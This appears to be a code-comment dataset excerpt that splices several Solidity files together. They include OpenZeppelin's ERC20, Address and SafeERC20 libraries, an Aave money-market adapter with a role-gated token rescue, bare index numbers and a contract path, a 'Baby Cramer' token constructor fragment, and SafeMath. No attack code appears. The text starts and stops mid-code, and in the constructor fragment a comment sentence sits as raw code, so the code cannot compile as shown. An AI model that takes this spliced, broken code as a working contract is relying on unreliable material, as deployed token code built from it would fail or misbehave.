} /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; import {SafeERC20} from "./SafeERC20.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** @notice Inherit this to allow for rescuing ERC20 tokens sent to the contract in error. */ abstract contract Rescuable { using SafeERC20 for IERC20; /** @notice Rescues ERC20 tokens sent to the contract in error. @dev Need to implement {_authorizeRescue} to do access-control for this function. @param token The ERC20 token to rescue @param target The address to send the tokens to */ function rescue(address token, address target) external virtual { // make sure we're not stealing funds or something _authorizeRescue(token, target); // transfer token to target IERC20 tokenContract = IERC20(token); tokenContract.safeTransfer( target, tokenContract.balanceOf(address(this)) ); } /** @dev IMPORTANT MUST READ IF YOU DON'T GET IT RIGHT YOU WILL LOSE PEOPLE'S MONEY MAKE SURE YOU DO ALL OF THE FOLLOWING 1) You MUST revert during a call to this function if the token rescue should be stopped. 2) You MUST implement proper access control to prevent stealing funds. 3) You MUST revert if `token` is a token your contract holds as user funds. @param token The ERC20 token to rescue @param target The address to send the tokens to */ function _authorizeRescue(address token, address target) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** @dev Modified from openzeppelin. Instead of reverting when the allowance is non-zero, we first set the allowance to 0 and then call approve(spender, currentAllowance + value). This provides support for non-standard tokens such as USDT that revert in this scenario. */ function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 currentAllowance = token.allowance(address(this), spender); if (currentAllowance > 0) { _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, 0) ); } _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, currentAllowance + value ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import { AccessControlUpgradeable } from "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import {Rescuable} from "../libs/Rescuable.sol"; // Interface for money market protocols (Compound, Aave, etc.) abstract contract MoneyMarket is Rescuable, OwnableUpgradeable, AccessControlUpgradeable { bytes32 internal constant RESCUER_ROLE = keccak256("RESCUER_ROLE"); function __MoneyMarket_init(address rescuer) internal initializer { __Ownable_init(); __AccessControl_init(); // RESCUER_ROLE is managed by itself _setupRole(RESCUER_ROLE, rescuer); _setRoleAdmin(RESCUER_ROLE, RESCUER_ROLE); } function deposit(uint256 amount) external virtual; function withdraw(uint256 amountInUnderlying) external virtual returns (uint256 actualAmountWithdrawn); /** @notice The total value locked in the money market, in terms of the underlying stablecoin */ function totalValue() external returns (uint256) { return _totalValue(_incomeIndex()); } /** @notice The total value locked in the money market, in terms of the underlying stablecoin */ function totalValue(uint256 currentIncomeIndex) external view returns (uint256) { return _totalValue(currentIncomeIndex); } /** @notice Used for calculating the interest generated (e.g. cDai's price for the Compound market) */ function incomeIndex() external returns (uint256 index) { return _incomeIndex(); } function stablecoin() external view virtual returns (ERC20); function claimRewards() external virtual; // Claims farmed tokens (e.g. COMP, CRV) and sends it to the rewards pool function setRewards(address newValue) external virtual; /** @dev IMPORTANT MUST READ This function is for restricting unauthorized accounts from taking funds and ensuring only tokens not used by the MoneyMarket can be rescued. IF YOU DON'T GET IT RIGHT YOU WILL LOSE PEOPLE'S MONEY MAKE SURE YOU DO ALL OF THE FOLLOWING 1) You MUST override it in a MoneyMarket implementation. 2) You MUST make `super._authorizeRescue(token, target);` the first line of your overriding function. 3) You MUST revert during a call to this function if a token used by the MoneyMarket is being rescued. 4) You SHOULD look at how existing MoneyMarkets do it as an example. */ function _authorizeRescue( address, /*token*/ address /*target*/ ) internal view virtual override { require(hasRole(RESCUER_ROLE, msg.sender), "MoneyMarket: not rescuer"); } function _totalValue(uint256 currentIncomeIndex) internal view virtual returns (uint256); function _incomeIndex() internal virtual returns (uint256 index); event ESetParamAddress( address indexed sender, string indexed paramName, address newValue ); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; import {SafeERC20} from "../../libs/SafeERC20.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import { AddressUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import {MoneyMarket} from "../MoneyMarket.sol"; import {ILendingPool} from "./imports/ILendingPool.sol"; import { ILendingPoolAddressesProvider } from "./imports/ILendingPoolAddressesProvider.sol"; import {IAaveMining} from "./imports/IAaveMining.sol"; contract AaveMarket is MoneyMarket { using SafeERC20 for ERC20; using AddressUpgradeable for address; uint16 internal constant REFERRALCODE = 20; // Aave referral program code ILendingPoolAddressesProvider public provider; // Used for fetching the current address of LendingPool ERC20 public override stablecoin; ERC20 public aToken; IAaveMining public aaveMining; address public rewards; function initialize( address _provider, address _aToken, address _aaveMining, address _rewards, address _rescuer, address _stablecoin ) external initializer { __MoneyMarket_init(_rescuer); // Verify input addresses require( _provider.isContract() && _aToken.isContract() && _aaveMining.isContract() && _rewards != address(0) && _stablecoin.isContract(), "AaveMarket: An input address is not a contract" ); provider = ILendingPoolAddressesProvider(_provider); stablecoin = ERC20(_stablecoin); aaveMining = IAaveMining(_aaveMining); aToken = ERC20(_aToken); rewards = _rewards; } function deposit(uint256 amount) external override onlyOwner { require(amount > 0, "AaveMarket: amount is 0"); ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); // Transfer `amount` stablecoin from `msg.sender` stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Approve `amount` stablecoin to lendingPool stablecoin.safeIncreaseAllowance(address(lendingPool), amount); // Deposit `amount` stablecoin to lendingPool lendingPool.deposit( address(stablecoin), amount, address(this), REFERRALCODE ); } function withdraw(uint256 amountInUnderlying) external override onlyOwner returns (uint256 actualAmountWithdrawn) { require(amountInUnderlying > 0, "AaveMarket: amountInUnderlying is 0"); ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); // Redeem `amountInUnderlying` aToken, since 1 aToken = 1 stablecoin // Transfer `amountInUnderlying` stablecoin to `msg.sender` lendingPool.withdraw( address(stablecoin), amountInUnderlying, msg.sender ); return amountInUnderlying; } function claimRewards() external override { address[] memory assets = new address[](1); assets[0] = address(aToken); aaveMining.claimRewards(assets, type(uint256).max, rewards); } /** Param setters */ function setRewards(address newValue) external override onlyOwner { require(newValue != address(0), "AaveMarket: 0 address"); rewards = newValue; emit ESetParamAddress(msg.sender, "rewards", newValue); } /** @dev IMPORTANT MUST READ This function is for restricting unauthorized accounts from taking funds and ensuring only tokens not used by the MoneyMarket can be rescued. IF YOU DON'T GET IT RIGHT YOU WILL LOSE PEOPLE'S MONEY MAKE SURE YOU DO ALL OF THE FOLLOWING 1) You MUST override it in a MoneyMarket implementation. 2) You MUST make `super._authorizeRescue(token, target);` the first line of your overriding function. 3) You MUST revert during a call to this function if a token used by the MoneyMarket is being rescued. 4) You SHOULD look at how existing MoneyMarkets do it as an example. */ function _authorizeRescue(address token, address target) internal view override { super._authorizeRescue(token, target); require(token != address(aToken), "AaveMarket: no steal"); } function _totalValue( uint256 /*currentIncomeIndex*/ ) internal view override returns (uint256) { return aToken.balanceOf(address(this)); } function _incomeIndex() internal view override returns (uint256 index) { ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); index = lendingPool.getReserveNormalizedIncome(address(stablecoin)); require(index > 0, "AaveMarket: BAD_INDEX"); } uint256[45] private __gap; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; interface IAaveMining { function claimRewards( address[] calldata assets, uint256 amount, address to ) external returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; // Aave lending pool interface // Documentation: https://docs.aave.com/developers/the-core-protocol/lendingpool/ilendingpool // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. interface ILendingPool { /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { function getLendingPool() external view returns (address); }
Transfer `amount` stablecoin from `msg.sender` Approve `amount` stablecoin to lendingPool Deposit `amount` stablecoin to lendingPool
function deposit(uint256 amount) external override onlyOwner { require(amount > 0, "AaveMarket: amount is 0"); ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); stablecoin.safeTransferFrom(msg.sender, address(this), amount); stablecoin.safeIncreaseAllowance(address(lendingPool), amount); lendingPool.deposit( address(stablecoin), amount, address(this), REFERRALCODE ); }
6,963,502
./partial_match/1/0xcB8e35229135d096C169A62e091cD99835792Ab9/sources/BabyCramer.sol
Create a uniswap pair for this new token exclude from paying fees or having max transaction amount enable owner and fixed-sale wallet to send tokens before presales are over
constructor() ERC20("Baby Cramer", "Cwamer") { uint256 _liquidityFee = 2; uint256 _burnFees = 0; uint256 _marketingFees = 0; uint256 _devFees = 2; usdcManager = new USDCManager(); liquidityFee = _liquidityFee; burnFees = _burnFees; marketingFees = _marketingFees; devFees = _devFees; totalFees = _liquidityFee + _burnFees + _marketingFees + _devFees; liquidityWallet = owner(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), USDC); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); _setAutomatedMarketMakerPair(address(this), true); excludeFromMaxTransaction(address(_uniswapV2Router), true); excludeFromMaxTransaction(address(uniswapV2Pair), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromFees(liquidityWallet, true); excludeFromFees(address(this), true); _isExcludedFromFees[owner()] = true; _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(owner(), 100000000 * (10**18));
9,180,930
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "mod: %"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions 